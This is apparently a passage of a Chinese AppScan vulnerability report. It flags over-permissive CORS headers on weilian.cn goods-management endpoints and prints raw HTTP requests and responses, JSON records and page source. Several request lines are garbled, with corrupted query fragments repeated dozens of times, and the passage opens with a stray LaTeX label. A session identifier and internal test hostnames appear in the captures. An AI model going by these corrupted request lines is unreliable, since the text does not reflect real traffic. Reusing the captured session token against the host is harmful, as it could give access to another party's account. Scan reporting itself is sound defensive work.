\label{lem:continuous} draw=3\&start=0\&length=15\&search\%5Bvalue\%5D=\&search\%5Bregex\%5D=false\&pageNum=1\&searchValue=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5Bvalue\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse\&pageNum=1\&search\%5D=betafalse
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
   "data": [
                                                  "startIndex": 0,
                                                  "pageSize": 15,
                                                  "totalCount": 72,
                                                  "results": [
                                                                                                 "enterpriseid": 55,
                                                                                                 "onoffDtlid": null,
                                                                                                "goodsonoffid": null,
                                                                                                 "goodsid": 105190,
                                                                                                 "goodscode": "0200202",
                                                                                                 "saleprice": null,
```

```
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "werdhgf",
"goodsunit": "gechi",
"goodstype": null,
"price": null,
"classname": "
                      办公耗材",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 0,
"statusname": "
                       下架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105186,
"goodscode": "0375346",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
                       场地",
"goodsname": "
"goodsunit": "
                       小时",
"goodstype": null,
"price": null,
"classname": "
                       场地租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 1,
"statusname": "
                     上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105184,
"goodscode": "0300345",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
"goodsunit": "
                       会场租用",
"goodstype": null,
"price": null,
"classname": "
                       会场租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                      待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105183,
"goodscode": "0300299",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
```

```
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
                      工位租用",
"goodsunit": "
"goodstype": null,
"price": null,
"classname": "
                      工位租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                    待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105182,
"goodscode": "0300123",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
                      场地租用",
"goodsunit": "
"goodstype": null,
"price": null,
"classname": "
                      场地租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                    待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105181,
"goodscode": "0102226",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
                      交通运输设备",
"goodsunit": "
"goodstype": null,
"price": null,
"classname": "
                      交通运输设备",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                  待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105180,
"goodscode": "0120051",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
```

```
"barco
...
...
```

变体-|4/6

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsonoffdetail/getdetailList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Breqex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 72,
                 "results": [
                                  "enterpriseid": 55,
                                  "onoffDtlid": null,
                                  "goodsonoffid": null,
                                  "goodsid": 105190,
                                  "goodscode": "0200202",
                                  "saleprice": null,
                                  "lsaleprice": null,
                                  "wsaleprice": null,
                                  "netsaleprice": null,
                                  "ondate": null,
                                  "offdate": null,
                                  "memo": null,
                                  "barcode": null,
                                  "goodsname": "werdhgf",
                                  "goodsunit": "gechi",
                                  "goodstype": null,
                                  "price": null,
                                  "classname": "
                                                       办公耗材",
                                  "goodsclassid": null,
                                  "saleqty": null,
                                  "departmentid": 1670,
                                  "status": 0,
                                  "statusname": "
                                                        下架"
```

```
"enterpriseid": 55,
         "onoffDtlid": null,
         "goodsonoffid": null,
         "goodsid": 105186,
         "goodscode": "0375346",
        "saleprice": null,
"lsaleprice": null,
         "wsaleprice": null,
         "netsaleprice": null,
         "ondate": null,
         "offdate": null,
         "memo": null,
         "barcode": null,
         "goodsname": "
                               场地",
         "goodsunit": "
                               小时",
         "goodstype": null,
        "price": null,
"classname": "
                               场地租用",
        "goodsclassid": null,
         "saleqty": null,
         "departmentid": 1670,
         "status": 1,
         "statusname": "
                             上架"
}
        "enterpriseid": 55,
        "onoffDtlid": null,
        "goodsonoffid": null,
         "goodsid": 105184,
         "goodscode": "0300345",
        "saleprice": null,
"lsaleprice": null,
         "wsaleprice": null,
         "netsaleprice": null,
         "ondate": null,
         "offdate": null,
         "memo": null,
         "barcode": null,
         "goodsname": "
                               会场租用",
         "goodsunit": "
         "goodstype": null,
         "price": null,
         "classname": "
                               会场租用",
         "goodsclassid": null,
         "saleqty": null,
         "departmentid": 1670,
        "status": 2,
"statusname": "
                             待上架"
        "enterpriseid": 55,
        "onoffDtlid": null,
        "goodsonoffid": null,
         "goodsid": 105183,
         "goodscode": "0300299",
         "saleprice": null,
         "lsaleprice": null,
         "wsaleprice": null,
         "netsaleprice": null,
         "ondate": null,
         "offdate": null,
         "memo": null,
         "barcode": null,
        "goodsname": "
"goodsunit": "
                               工位租用",
                               间",
         "goodstype": null,
         "price": null,
         "classname": "
                               工位租用",
         "goodsclassid": null,
         "saleqty": null,
         "departmentid": 1670,
        "status": 2,
"statusname": "
                             待上架"
         "enterpriseid": 55,
        "onoffDtlid": null,
         "goodsonoffid": null,
```

```
"goodsid": 105182,
 "goodscode": "0300123",
 "saleprice": null,
 "lsaleprice": null,
 "wsaleprice": null,
 "netsaleprice": null,
 "ondate": null,
 "offdate": null,
 "memo": null,
 "barcode": null,
 "goodsname": "
                       场地租用",
 "goodsunit": "
 "goodstype": null,
 "price": null,
 "classname": "
                       场地租用",
 "goodsclassid": null,
 "saleqty": null,
 "departmentid": 1670,
 "status": 2,
 "statusname": "
                      待上架"
 "enterpriseid": 55,
 "onoffDtlid": null,
 "goodsonoffid": null,
 "goodsid": 105181,
 "goodscode": "0102226",
 "saleprice": null,
 "lsaleprice": null,
 "wsaleprice": null,
 "netsaleprice": null,
 "ondate": null,
 "offdate": null,
 "memo": null,
 "barcode": null,
 "goodsname": "
                       交通运输设备",
 "goodsunit": "
 "goodstype": null,
 "price": null,
"classname": "
                       交通运输设备",
 "goodsclassid": null,
 "saleqty": null,
 "departmentid": 1670,
 "status": 2,
 "statusname": "
                      待上架"
{
  "enterpriseid": 55,
  "a" null,
 "onoffDtlid": null,
 "goodsonoffid": null,
 "goodsid": 105180,
 "goodscode": "0120051",
"saleprice": null,
 "lsaleprice": null,
 "wsaleprice": null,
 "netsaleprice": null,
 "ondate": null,
 "offdate": null,
 "memo": null,
 "barcode": null,
 "goodsname": "
                      专用设备",
 "goodsunit": "
```

变体-|5/6

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsonoffdetail/getdetailList?
draw=2\&start=0\&length=15\&search\%5Bvalue\%5D=1234\&search\%5Bregex\%5D=false\&pageNum=1\&searchValue=1233alsearch\%5Bvalue\%5D=1234alsearch\%5Bregex\%5D=falsearch\%5Bvalue\%5D=1234alsearch\%5Bregex\%5D=falsearch\%5Bvalue\%5D=1234alsearch\%5Bregex\%5D=falsearch\%5Bvalue\%5D=1234alsearch\%5Bregex\%5D=falsearch\%5Bvalue\%5D=1234alsearch\%5Bregex\%5D=falsearch\%5Bvalue\%5D=1234alsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5Bregex\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=falsearch\%5D=false
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:20:33 GMT
Content-Type: application/json
Transfer-Encoding: chunked
  "data": [
                                       "startIndex": 0,
                                       "pageSize": 15,
                                       "totalCount": 3,
                                       "results": [
                                                                             "enterpriseid": 55,
                                                                            "onoffDtlid": null,
                                                                            "goodsonoffid": null,
                                                                             "goodsid": 104974,
                                                                             "goodscode": "0123459",
                                                                            "saleprice": null,
                                                                            "lsaleprice": null,
                                                                            "wsaleprice": null,
                                                                            "netsaleprice": null,
                                                                            "ondate": null,
                                                                             "offdate": null,
                                                                             "memo": null,
                                                                             "barcode": null,
                                                                             "goodsname": "4325325",
                                                                            "goodsunit": "ge",
                                                                             "goodstype": null,
                                                                            "price": null,
                                                                             "classname": "
                                                                                                                            设备类",
                                                                            "goodsclassid": null,
                                                                             "saleqty": null,
                                                                            "departmentid": 1670,
                                                                            "status": 1,
                                                                            "statusname": "
                                                                                                                            上架"
                                                                            "enterpriseid": 55,
                                                                            "onoffDtlid": null,
                                                                             "goodsonoffid": null,
                                                                            "goodsid": 104931,
                                                                            "goodscode": "0312345",
                                                                            "saleprice": null,
                                                                            "lsaleprice": null,
                                                                            "wsaleprice": null,
                                                                             "netsaleprice": null,
                                                                             "ondate": null,
                                                                             "offdate": null,
                                                                             "memo": null,
                                                                             "barcode": null,
                                                                            "goodsname": "
"goodsunit": "
                                                                                                                            测试01",
                                                                            "goodstype": null,
                                                                            "price": null,
```

```
"classname": " 亦乐测试分类",
                                 "goodsclassid": null,
                                 "saleqty": null,
                                 "departmentid": 1670,
                                 "status": 1,
                                 "statusname": "
                                                     上架"
                                 "enterpriseid": 55,
                                 "onoffDtlid": null,
                                 "goodsonoffid": null,
                                 "goodsid": 104893,
                                 "goodscode": "0112345",
"saleprice": null,
                                 "lsaleprice": null,
                                 "wsaleprice": null,
                                 "netsaleprice": null,
                                 "ondate": null,
                                 "offdate": null,
                                 "memo": null,
                                 "barcode": null,
                                 "goodsname": "
                                                      苹果手机",
                                 "goodsunit": "
                                                      台",
                                 "goodstype": null,
                                 "price": null,
                                                      家具用具及其他",
                                 "classname": "
                                 "goodsclassid": null,
                                 "saleqty": null,
                                 "departmentid": 1670,
                                 "status": 1,
                                 "statusname": "
                                                      上架"
                "showPageNumbers": [
                "pages": [
                "pageNo": 1,
                "pageCount": 1,
                "params": [
                                 "searchValue": "1234"
                "totalPageCount": 1,
                "nextIndex": 15,
                "page": 1,
                "previousIndex": 0
"returnCode": 0,
"msg": null,
"html": null
```

变体-|6/6

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsonoffdetail/getdetailList?
draw=3&start=0&length=45&search%5Bvalue%5D=1234&search%5Bregex%5D=false&pageNum=1&searchValue=123
4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
```

```
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:20:37 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 45,
                  "totalCount": 3.
                  "results": [
                                   "enterpriseid": 55,
                                   "onoffDtlid": null,
                                   "goodsonoffid": null,
                                   "goodsid": 104974,
"goodscode": "0123459",
                                   "saleprice": null,
                                   "lsaleprice": null,
                                   "wsaleprice": null,
                                   "netsaleprice": null,
                                   "ondate": null,
                                   "offdate": null,
                                   "memo": null,
                                   "barcode": null,
                                   "goodsname": "4325325",
"goodsunit": "ge",
                                   "goodstype": null,
                                   "price": null,
                                   "classname": "
                                                        设备类",
                                   "goodsclassid": null,
                                   "saleqty": null,
                                   "departmentid": 1670,
                                   "status": 1,
                                   "statusname": "
                                                        上架"
                                   "enterpriseid": 55,
                                   "onoffDtlid": null,
                                   "goodsonoffid": null,
                                   "goodsid": 104931,
                                   "goodscode": "0312345",
                                   "saleprice": null,
                                   "lsaleprice": null,
                                   "wsaleprice": null,
                                   "netsaleprice": null,
                                   "ondate": null,
                                   "offdate": null,
                                   "memo": null,
                                   "barcode": null,
                                   "goodsname": "
                                                         测试01",
                                   "goodsunit": "
                                   "goodstype": null,
                                   "price": null,
                                   "classname": "
                                                        亦乐测试分类",
                                   "goodsclassid": null,
                                   "saleqty": null,
                                   "departmentid": 1670,
                                   "status": 1,
                                   "statusname": "
                                                         上架"
                                   "enterpriseid": 55,
```

```
"onoffDtlid": null,
                                            "goodsonoffid": null,
                                            "goodsid": 104893,
                                            "goodscode": "0112345",
"saleprice": null,
                                            "saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
                                            "memo": null,
                                            "barcode": null,
                                            "goodsname": "
"goodsunit": "
                                                                         苹果手机",
                                            "goodstype": null,
"price": null,
"classname": "
                                                                         家具用具及其他",
                                            "goodsclassid": null,
                                            "saleqty": null,
                                            "departmentid": 1670,
                                            "status": 1,
"statusname": "
                                                                    上架"
                      0
                      "pages": [
                      "pageNo": 1,
"pageCount": 1,
                      "params": [
                                            "searchValue": "1234"
                      "totalPageCount": 1,
                      "nextIndex": 45,
"page": 1,
                      "previousIndex": 0
],
"returnCode": 0,
"msg": null,
"html": null
```

问题 **7** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	€ Company of the com
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pubGoodsgsbm/selectList
实体:	selectList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /pubGoodsqsbm/selectList HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html}
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:25 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
"msg": null,
                         "enterpriseid": 55,
                         "status": null,
                         "gsbmid": 2,
                         "gsbmname": "
                                           行政部"
                         "enterpriseid": 55,
                         "status": null,
                         "gsbmid": 3,
                         "gsbmname": "
                                              资产部"
                         "enterpriseid": 55,
                         "status": null,
                         "gsbmid": 6,
"gsbmname": "
                                         质控部"
       ]
}
```

问题 **8** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodstree.html
实体:	goodstree.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/goodstree.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: text/html, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 12614
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
    #gcl-goodstree table td {
       text-align: center;
       line-height: 28px;
    #gcl-goodstree table th {
        text-align: center;
       line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
        <!-- 左侧开始 -->
        <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
          <div class="block-title">
         <h4>资产分类树</h4>
         </div>
          <!--<div id="companylist tree" class="tree list"></div>-->
         </div>
        </div>
       <!-- 左侧结束 -->
<!-- 右侧开始 -->
```

```
<div class="col-xs-9">
         <div class="block full">
         <!-- Table Styles Title -->
         <div class="block-title">
         <h2>资产信息</h2>
         </div>
         <!-- END Table Styles Title -->
         <div id="gcl-goodstree_table">
         </div>
         </div>
       </div>
       <!-- 右侧结束 -->
   </div>
</div>
<script type="text/javascript">
   //初始化列表
   $(function () {
   //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px"; //表格的属性对象,用于初始化表格的设置
      //var goodsURL =goodsURL;
//
        goodsURL="http://test.vr.weilian.cn:40884/";
       var option = {
         height: tableHeight,
         search: {
              placeHolder:"搜索资产编码、资产名称"
         tools: false,
         handleCol:false, //屏蔽操作列
         url: goodsURL+"goodsRestApi/goodsList",
         border:false, //去掉border
         // 表格的头部,有多少列,就写多少
         columns: [{
         filed: "资产编码",
         name: "goodscode"
         filed: "拼音码",
         name: "opcode"
         }, {
         filed: "资产名称",
         name: "goodsname"
         }, {
         filed: "规格",
         name: "goodsspec"
         filed: "型号",
         name: "goodsmodel"
         }, {
         filed: "资产分类",
         name: "classname"
         }, {
         filed: "产地",
         name: "prodarea"
         filed: "状态",
         name: "status"
         }, {
         filed: "品牌",
         name: "brandname"
         }, {
         filed: "财务编码",
         name: "barcode"
         filed: "上限",
         name: "stupperlimit"
         }, {
         filed: "下限",
         name: "stlowerlimit"
         filed: "大类码标记",
         name: "classcodeflag"
         }, {
         filed: "登记人",
```

```
name: "inputmanname"
         filed: "登记时间",
         name: "bookindate"
         }, {
         filed: "id",
         name: "goodsid"
         }],
         columnDefs: [{ //隐藏列,序号+
         "targets": [3,8,12,13,14,17],
         "visible": false
         }, {
         render: function(data, type, row) { // 格式化 列
         return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
         },
         targets: [16]
         }, { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         //return "<pp keyword=PUB BASIC NEW STATUS>" + data + "</pp>"
               if(data==1){
                      return "正常";
               }else if(data==2){
                      return "冻结";
               }else{
                      return "";
         targets: [9]
         { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         if(data==undefined || data==null){
         return ""
         }else {
. . .
. . .
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
OPTIONS /static/goodstree.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 12614
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
```

```
<style>
    #gcl-goodstree table td {
      text-align: center;
       line-height: 28px;
   #gcl-goodstree_table th {
       text-align: center;
       line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
        <!-- 左侧开始 -->
       <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
         <div class="block-title">
         <h4>资产分类树</h4>
         </div>
         <!--<div id="companylist tree" class="tree list"></div>-->
         </div>
       </div>
       <!-- 左侧结束 -->
       <!-- 右侧开始 -->
       <div class="col-xs-9">
         <div class="block full">
         <!-- Table Styles Title -->
         <div class="block-title">
         <h2>资产信息</h2>
         </div>
         <!-- END Table Styles Title -->
         <div id="gcl-goodstree table">
         </div>
         </div>
       </div>
       <!-- 右侧结束 -->
   </div>
</div>
<script type="text/javascript">
   $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px"; //表格的属性对象,用于初始化表格的设置
      //var goodsURL =goodsURL;
       goodsURL="http://test.vr.weilian.cn:40884/";
       var option = {
         height: tableHeight,
         search: {
               placeHolder:"搜索资产编码、资产名称"
         },
         tools: false,
         handleCol:false, //屏蔽操作列
